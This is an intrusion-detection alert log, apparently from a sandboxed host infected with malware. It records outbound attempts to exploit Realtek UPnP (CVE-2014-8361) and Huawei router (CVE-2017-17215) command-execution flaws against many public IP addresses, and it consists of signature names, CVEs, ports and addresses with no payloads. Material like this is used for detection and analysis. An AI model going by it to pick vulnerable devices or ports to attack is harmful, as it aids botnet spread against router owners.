07/20/24-23:01:53.503242	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54978	52869	192.168.2.23	13.253.184.187
07/20/24-23:01:24.910426	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45686	37215	192.168.2.23	157.8.149.199
07/20/24-23:01:45.660608	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35026	52869	192.168.2.23	130.184.173.22
07/20/24-23:01:04.098080	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38518	37215	192.168.2.23	25.81.242.112
07/20/24-23:01:42.718842	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37182	52869	192.168.2.23	165.221.172.161
07/20/24-23:01:02.065822	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49282	52869	192.168.2.23	70.239.61.12
07/20/24-23:01:11.635828	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42574	37215	192.168.2.23	157.185.20.188
07/20/24-23:01:43.540053	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59742	52869	192.168.2.23	207.56.45.233
07/20/24-23:01:02.048367	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42542	37215	192.168.2.23	157.219.32.62
07/20/24-23:01:21.915268	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54390	37215	192.168.2.23	41.141.66.103
07/20/24-23:01:08.571946	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43646	52869	192.168.2.23	9.190.28.75
07/20/24-23:01:40.334934	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57662	37215	192.168.2.23	197.188.106.107
07/20/24-23:01:48.275988	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39732	52869	192.168.2.23	89.150.205.193
07/20/24-23:01:21.954501	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43212	37215	192.168.2.23	157.226.178.202
07/20/24-23:01:00.633744	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37642	37215	192.168.2.23	157.54.130.2
07/20/24-23:01:31.311906	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58730	52869	192.168.2.23	59.198.200.174
07/20/24-23:01:46.855307	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36176	52869	192.168.2.23	211.143.251.133
07/20/24-23:02:35.459810	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34686	52869	192.168.2.23	173.18.107.141
07/20/24-23:01:42.984532	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57404	52869	192.168.2.23	35.221.171.171
07/20/24-23:01:47.934101	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42244	52869	192.168.2.23	171.195.37.248
07/20/24-23:01:59.030102	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36116	52869	192.168.2.23	159.45.241.196
07/20/24-23:02:21.324806	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46214	52869	192.168.2.23	27.91.150.196
07/20/24-23:01:42.687128	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38200	52869	192.168.2.23	168.18.159.220
07/20/24-23:01:54.367854	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41138	52869	192.168.2.23	133.36.37.101
07/20/24-23:01:27.650871	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52136	37215	192.168.2.23	197.178.175.16
07/20/24-23:01:02.716646	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46338	52869	192.168.2.23	210.116.25.221
07/20/24-23:01:45.775798	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51568	52869	192.168.2.23	62.188.56.156
07/20/24-23:01:55.974605	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53306	52869	192.168.2.23	111.101.151.97
07/20/24-23:01:41.549051	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50696	52869	192.168.2.23	88.132.0.162
07/20/24-23:01:41.263057	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59984	52869	192.168.2.23	137.127.2.156
07/20/24-23:01:42.699598	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43810	52869	192.168.2.23	113.209.32.105
07/20/24-23:01:42.704267	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44400	52869	192.168.2.23	167.4.219.92
07/20/24-23:00:59.157444	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52632	37215	192.168.2.23	197.12.37.150
07/20/24-23:01:44.957555	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41402	52869	192.168.2.23	155.96.29.107
07/20/24-23:01:44.405053	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49608	52869	192.168.2.23	18.181.232.193
07/20/24-23:01:42.033190	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45472	52869	192.168.2.23	50.3.243.177
07/20/24-23:01:52.116386	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47788	52869	192.168.2.23	126.2.96.116
07/20/24-23:01:34.048825	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56284	37215	192.168.2.23	197.81.234.224
07/20/24-23:01:49.463055	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42220	52869	192.168.2.23	126.245.117.149
07/20/24-23:01:50.001369	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45394	52869	192.168.2.23	60.33.175.153
07/20/24-23:01:44.440143	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55764	52869	192.168.2.23	124.24.223.164
07/20/24-23:01:40.285038	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46210	37215	192.168.2.23	197.29.110.76
07/20/24-23:01:51.624541	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48202	52869	192.168.2.23	197.243.125.183
07/20/24-23:01:20.181938	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36886	37215	192.168.2.23	197.57.234.7
07/20/24-23:01:44.409097	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52916	52869	192.168.2.23	34.198.8.37
07/20/24-23:01:47.641942	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46344	52869	192.168.2.23	106.236.204.67
07/20/24-23:01:51.743446	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56730	52869	192.168.2.23	90.237.72.71
07/20/24-23:01:43.014738	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44048	52869	192.168.2.23	49.238.106.168
07/20/24-23:01:44.038410	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54114	52869	192.168.2.23	173.71.226.225
07/20/24-23:01:20.144672	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55502	37215	192.168.2.23	41.241.151.239
07/20/24-23:01:49.901282	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54834	52869	192.168.2.23	105.93.17.46
07/20/24-23:01:53.344252	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37504	52869	192.168.2.23	40.95.139.12
07/20/24-23:01:57.795137	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54130	52869	192.168.2.23	129.174.206.130
07/20/24-23:01:54.515977	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55936	52869	192.168.2.23	51.202.3.15
07/20/24-23:02:04.640459	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	32958	52869	192.168.2.23	205.96.176.194
07/20/24-23:01:08.572197	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55296	52869	192.168.2.23	173.57.134.38
07/20/24-23:01:02.048113	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57456	37215	192.168.2.23	197.90.236.107
07/20/24-23:01:14.090830	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60644	37215	192.168.2.23	157.45.181.132
07/20/24-23:01:14.113390	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60610	37215	192.168.2.23	140.142.252.32
07/20/24-23:01:40.331150	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58004	37215	192.168.2.23	41.39.175.234
07/20/24-23:01:46.384516	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56926	52869	192.168.2.23	126.192.25.7
07/20/24-23:01:43.030153	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58654	52869	192.168.2.23	143.69.193.236
07/20/24-23:01:20.131340	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53976	37215	192.168.2.23	17.114.197.205
07/20/24-23:01:11.816521	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52566	37215	192.168.2.23	197.88.172.221
07/20/24-23:01:24.929013	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44336	37215	192.168.2.23	158.210.184.146
07/20/24-23:01:08.600679	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45328	52869	192.168.2.23	223.83.213.222
07/20/24-23:01:14.105395	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41286	37215	192.168.2.23	197.216.251.19
07/20/24-23:01:00.639093	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57218	37215	192.168.2.23	197.71.69.91
07/20/24-23:01:41.930505	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39212	52869	192.168.2.23	160.67.56.20
07/20/24-23:01:20.175900	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36122	37215	192.168.2.23	197.188.204.57
07/20/24-23:00:59.196993	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59916	37215	192.168.2.23	157.129.228.162
07/20/24-23:01:02.509396	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53182	52869	192.168.2.23	187.26.13.206
07/20/24-23:01:11.818830	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36164	37215	192.168.2.23	197.47.55.117
07/20/24-23:01:41.747994	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48270	52869	192.168.2.23	71.169.30.84
07/20/24-23:02:27.457367	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59154	52869	192.168.2.23	157.69.166.230
07/20/24-23:01:03.432937	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58602	52869	192.168.2.23	140.186.145.164
07/20/24-23:01:08.600114	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58992	52869	192.168.2.23	113.34.69.120
07/20/24-23:01:44.814790	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60236	52869	192.168.2.23	63.140.14.0
07/20/24-23:01:20.140632	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33620	37215	192.168.2.23	18.226.20.52
07/20/24-23:01:40.336908	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49886	37215	192.168.2.23	157.178.189.119
07/20/24-23:01:12.841280	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43428	52869	192.168.2.23	2.221.152.25
07/20/24-23:01:46.113314	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34652	52869	192.168.2.23	78.241.170.132
07/20/24-23:01:46.387777	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44176	52869	192.168.2.23	137.85.104.5
07/20/24-23:01:10.603142	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53562	52869	192.168.2.23	35.68.164.37
07/20/24-23:01:01.629050	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37134	52869	192.168.2.23	129.167.170.254
07/20/24-23:01:51.124824	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35310	52869	192.168.2.23	208.210.235.23
07/20/24-23:01:47.377081	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34994	52869	192.168.2.23	207.27.209.75
07/20/24-23:01:49.825670	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36608	52869	192.168.2.23	49.79.18.186
07/20/24-23:01:31.976649	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36002	37215	192.168.2.23	137.158.184.177
07/20/24-23:01:42.662837	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42730	52869	192.168.2.23	51.186.28.39
07/20/24-23:01:08.575986	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59784	52869	192.168.2.23	70.59.242.166
07/20/24-23:01:11.817771	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58516	37215	192.168.2.23	130.210.124.219
07/20/24-23:01:44.007374	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36010	52869	192.168.2.23	4.9.166.109
07/20/24-23:01:47.798104	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52252	52869	192.168.2.23	13.59.59.107
07/20/24-23:01:32.060731	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59522	37215	192.168.2.23	131.252.149.74
07/20/24-23:01:41.912337	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60206	52869	192.168.2.23	77.135.26.34
07/20/24-23:01:14.207040	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38408	37215	192.168.2.23	197.146.3.86
07/20/24-23:01:57.360180	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48112	52869	192.168.2.23	220.91.249.28
07/20/24-23:01:42.704900	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56180	52869	192.168.2.23	191.59.254.237
07/20/24-23:01:12.806839	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35888	52869	192.168.2.23	60.92.43.190
07/20/24-23:01:46.450129	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48682	52869	192.168.2.23	38.183.196.72
07/20/24-23:01:20.157619	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59652	37215	192.168.2.23	157.143.93.40
07/20/24-23:01:42.072139	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42710	52869	192.168.2.23	113.10.123.41
07/20/24-23:01:44.890268	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45790	52869	192.168.2.23	110.45.133.89
07/20/24-23:01:06.990535	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37940	37215	192.168.2.23	157.64.21.239
07/20/24-23:01:24.813625	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51160	52869	192.168.2.23	90.135.90.32
07/20/24-23:01:42.908066	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37598	52869	192.168.2.23	98.171.161.225
07/20/24-23:00:59.172943	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50406	37215	192.168.2.23	157.51.198.43
07/20/24-23:01:32.032492	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51940	37215	192.168.2.23	197.101.2.117
07/20/24-23:01:42.869521	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47750	52869	192.168.2.23	70.133.231.223
07/20/24-23:01:43.062246	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54704	52869	192.168.2.23	142.238.177.84
07/20/24-23:01:11.822392	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41642	37215	192.168.2.23	197.153.22.137
07/20/24-23:01:41.383579	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43468	52869	192.168.2.23	126.224.156.29
07/20/24-23:01:55.623247	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54538	52869	192.168.2.23	207.198.69.39
07/20/24-23:01:42.677301	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55986	52869	192.168.2.23	42.61.115.2
07/20/24-23:01:02.750140	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60326	52869	192.168.2.23	2.32.130.76
07/20/24-23:02:07.401340	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47090	52869	192.168.2.23	47.224.141.66
07/20/24-23:01:02.046626	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54992	37215	192.168.2.23	41.134.147.250
07/20/24-23:01:53.735607	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50640	52869	192.168.2.23	107.61.249.135
07/20/24-23:01:42.111275	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43974	52869	192.168.2.23	125.78.0.230
07/20/24-23:00:57.221141	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52906	37215	192.168.2.23	157.119.223.145
07/20/24-23:01:45.159648	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53638	52869	192.168.2.23	147.169.170.137
07/20/24-23:01:07.061779	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59324	37215	192.168.2.23	136.131.38.133
07/20/24-23:01:44.464382	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60824	52869	192.168.2.23	89.81.144.22
07/20/24-23:01:07.018425	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40100	37215	192.168.2.23	197.65.5.53
07/20/24-23:01:52.425638	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40594	52869	192.168.2.23	171.195.37.248
07/20/24-23:01:34.050672	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39408	37215	192.168.2.23	197.35.38.63
07/20/24-23:01:34.055714	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36492	37215	192.168.2.23	41.168.246.30
07/20/24-23:01:42.939519	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50474	52869	192.168.2.23	70.191.15.111
07/20/24-23:01:43.360543	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54518	52869	192.168.2.23	99.181.48.189
07/20/24-23:01:53.524729	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49608	52869	192.168.2.23	162.122.16.215
07/20/24-23:01:31.975107	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53832	37215	192.168.2.23	197.180.219.211
07/20/24-23:01:31.312894	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53344	52869	192.168.2.23	34.158.218.166
07/20/24-23:02:10.031806	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49060	52869	192.168.2.23	63.25.37.64
07/20/24-23:01:04.782707	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56436	52869	192.168.2.23	139.21.143.158
07/20/24-23:01:20.113254	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40340	37215	192.168.2.23	41.147.128.195
07/20/24-23:01:27.650037	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48746	37215	192.168.2.23	41.203.181.85
07/20/24-23:01:31.322217	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39998	52869	192.168.2.23	146.105.181.156
07/20/24-23:01:47.532849	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40410	52869	192.168.2.23	43.128.21.230
07/20/24-23:01:51.197215	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59982	52869	192.168.2.23	216.19.121.71
07/20/24-23:01:59.604768	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48086	52869	192.168.2.23	93.56.206.158
07/20/24-23:01:51.172994	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39872	52869	192.168.2.23	200.203.33.61
07/20/24-23:01:45.723019	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41890	52869	192.168.2.23	201.140.184.210
07/20/24-23:01:08.588009	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59924	52869	192.168.2.23	104.178.230.186
07/20/24-23:01:43.158920	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52066	52869	192.168.2.23	200.248.84.13
07/20/24-23:01:59.539512	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35924	52869	192.168.2.23	223.130.78.45
07/20/24-23:01:41.321505	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49492	52869	192.168.2.23	198.228.131.204
07/20/24-23:01:51.067695	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50730	52869	192.168.2.23	162.125.127.147
07/20/24-23:02:08.128674	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46790	52869	192.168.2.23	107.35.253.244
07/20/24-23:01:44.118192	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33128	52869	192.168.2.23	67.14.83.223
07/20/24-23:02:05.590034	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41408	52869	192.168.2.23	140.127.134.199
07/20/24-23:01:41.245523	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58408	52869	192.168.2.23	207.56.45.233
07/20/24-23:01:26.120876	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55384	52869	192.168.2.23	143.157.68.18
07/20/24-23:01:49.138222	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38704	52869	192.168.2.23	159.143.86.166
07/20/24-23:01:31.312311	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39582	52869	192.168.2.23	184.74.79.160
07/20/24-23:01:44.280820	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52686	52869	192.168.2.23	182.81.116.37
07/20/24-23:01:40.294677	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52602	37215	192.168.2.23	41.48.176.220
07/20/24-23:01:41.897768	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45198	52869	192.168.2.23	205.156.124.10
07/20/24-23:01:42.290838	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52896	52869	192.168.2.23	83.99.82.220
07/20/24-23:00:57.221365	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32888	37215	192.168.2.23	41.210.186.227
07/20/24-23:01:58.146169	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54036	52869	192.168.2.23	134.217.248.188
07/20/24-23:01:00.637175	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46764	37215	192.168.2.23	197.247.217.62
07/20/24-23:01:02.047411	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42784	37215	192.168.2.23	83.22.51.58
07/20/24-23:01:31.312186	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38986	52869	192.168.2.23	61.127.88.100
07/20/24-23:01:45.270636	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55774	52869	192.168.2.23	31.234.118.120
07/20/24-23:01:31.328066	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49834	52869	192.168.2.23	116.88.149.60
07/20/24-23:01:44.085493	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48974	52869	192.168.2.23	116.148.59.65
